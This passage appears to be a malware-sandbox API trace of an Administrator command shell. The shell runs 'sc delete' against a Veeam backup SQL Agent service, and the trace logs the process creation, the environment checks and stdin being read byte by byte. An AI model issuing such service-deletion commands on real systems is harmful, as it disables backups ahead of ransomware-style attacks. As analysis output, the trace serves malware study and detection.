(Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0075.705] GetProcessHeap () returned 0x240000 [0075.705] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0075.705] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0075.706] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0075.706] GetLastError () returned 0x2 [0075.706] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0075.706] GetLastError () returned 0x2 [0075.706] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0075.706] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0075.706] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0075.706] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0075.707] GetLastError () returned 0x2 [0075.707] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0075.707] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0075.707] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0075.707] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0075.707] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0075.707] GetProcessHeap () returned 0x240000 [0075.707] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0075.707] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0075.707] GetProcessHeap () returned 0x240000 [0075.707] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0xbc) returned 0x259180 [0075.707] GetProcessHeap () returned 0x240000 [0075.707] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0xbc [0075.707] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"SQLAgent$VEEAMSQL2012\"") returned 1 [0075.708] GetProcessHeap () returned 0x240000 [0075.708] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0075.708] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0075.708] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0075.708] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0075.708] GetProcessHeap () returned 0x240000 [0075.709] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0075.709] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0075.709] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0075.709] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0075.709] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0075.709] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0075.709] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0075.709] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0075.709] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0075.709] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0075.709] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0075.709] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0075.709] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0075.709] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0075.709] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0075.709] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0075.709] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0075.709] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0075.709] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0075.709] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0075.709] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0075.709] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0075.709] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0075.709] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0075.709] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0075.710] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0075.710] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0075.710] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0075.710] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0075.710] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0075.710] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0075.710] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0075.710] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0075.710] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0075.710] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0075.710] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0075.710] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0075.710] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0075.710] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0075.710] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0075.710] GetProcessHeap () returned 0x240000 [0075.710] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0075.710] GetProcessHeap () returned 0x240000 [0075.710] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0075.710] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"SQLAgent$VEEAMSQL2012\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"SQLAgent$VEEAMSQL2012\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete \"SQLAgent$VEEAMSQL2012\"", lpProcessInformation=0x1af360*(hProcess=0x50, hThread=0x54, dwProcessId=0xa64, dwThreadId=0x5f4)) returned 1 [0075.715] CloseHandle (hObject=0x54) returned 1 [0075.715] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0075.715] GetProcessHeap () returned 0x240000 [0075.715] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | out: hHeap=0x240000) returned 1 [0075.715] GetEnvironmentStringsW () returned 0x261b10* [0075.715] GetProcessHeap () returned 0x240000 [0075.715] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0075.715] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0075.715] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0075.715] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffda000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0075.715] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0075.939] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0075.939] CloseHandle (hObject=0x50) returned 1 [0075.939] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0075.939] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0075.939] GetProcessHeap () returned 0x240000 [0075.939] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0075.939] GetEnvironmentStringsW () returned 0x261b10* [0075.939] GetProcessHeap () returned 0x240000 [0075.939] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0075.939] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0075.939] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0075.939] GetProcessHeap () returned 0x240000 [0075.939] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0075.939] GetEnvironmentStringsW () returned 0x261b10* [0075.940] GetProcessHeap () returned 0x240000 [0075.940] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0075.940] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0075.940] GetProcessHeap () returned 0x240000 [0075.940] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0075.940] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0075.940] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0075.940] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.940] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0075.940] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.940] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0075.941] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.941] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0075.941] GetConsoleOutputCP () returned 0x1b5 [0075.941] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0075.941] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0075.941] GetProcessHeap () returned 0x240000 [0075.941] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0075.941] GetProcessHeap () returned 0x240000 [0075.941] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0075.941] GetProcessHeap () returned 0x240000 [0075.941] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0075.941] GetProcessHeap () returned 0x240000 [0075.941] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0075.941] GetProcessHeap () returned 0x240000 [0075.941] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259840 | out: hHeap=0x240000) returned 1 [0075.941] GetProcessHeap () returned 0x240000 [0075.941] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0075.941] GetProcessHeap () returned 0x240000 [0075.941] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2597e0 | out: hHeap=0x240000) returned 1 [0075.941] GetProcessHeap () returned 0x240000 [0075.942] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0075.942] GetProcessHeap () returned 0x240000 [0075.942] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0075.942] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0075.942] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.942] GetFileType (hFile=0x120) returned 0x3 [0075.942] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.942] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0075.942] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0075.942] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0075.942] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0075.942] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0075.942] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0075.942] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.942] GetFileType (hFile=0x120) returned 0x3 [0075.943] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.943] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0075.943] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0075.943] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.943] GetFileType (hFile=0xb8) returned 0x3 [0075.943] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.943] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.943] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.943] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"SQLAgent$VEEAMSQL2012\"\n") returned 1 [0075.943] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.943] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.943] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.943] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete \"SQLAgent$VEEAMSQL2012\"\n") returned 1 [0075.943] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.943] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.943] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.944] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete \"SQLAgent$VEEAMSQL2012\"\n") returned 1 [0075.944] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.944] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.944] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.944] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete \"SQLAgent$VEEAMSQL2012\"\n") returned 1 [0075.944] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.944] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.944] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.944] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete \"SQLAgent$VEEAMSQL2012\"\n") returned 1 [0075.944] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.944] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.944] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.944] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete \"SQLAgent$VEEAMSQL2012\"\n") returned 1 [0075.944] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.944] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.944] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.944] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete \"SQLAgent$VEEAMSQL2012\"\n") returned 1 [0075.944] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.944] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.944] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.944] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te \"SQLAgent$VEEAMSQL2012\"\n") returned 1 [0075.944] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.944] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.945] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.945] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e \"SQLAgent$VEEAMSQL2012\"\n") returned 1 [0075.945] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.945] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.945] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.945] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" \"SQLAgent$VEEAMSQL2012\"\n") returned 1 [0075.945] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.945] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.945] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.945] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="MSQLAgent$VEEAMSQL2012\"\n") returned 1 [0075.945] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.945] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.945] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.945] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="SQLAgent$VEEAMSQL2012\"\n") returned 1 [0075.945] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.945] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.945] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.945] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="SLAgent$VEEAMSQL2012\"\n") returned 1 [0075.945] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.945] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.945] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.945] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="QAgent$VEEAMSQL2012\"\n") returned 1 [0075.945] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.945] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.946] 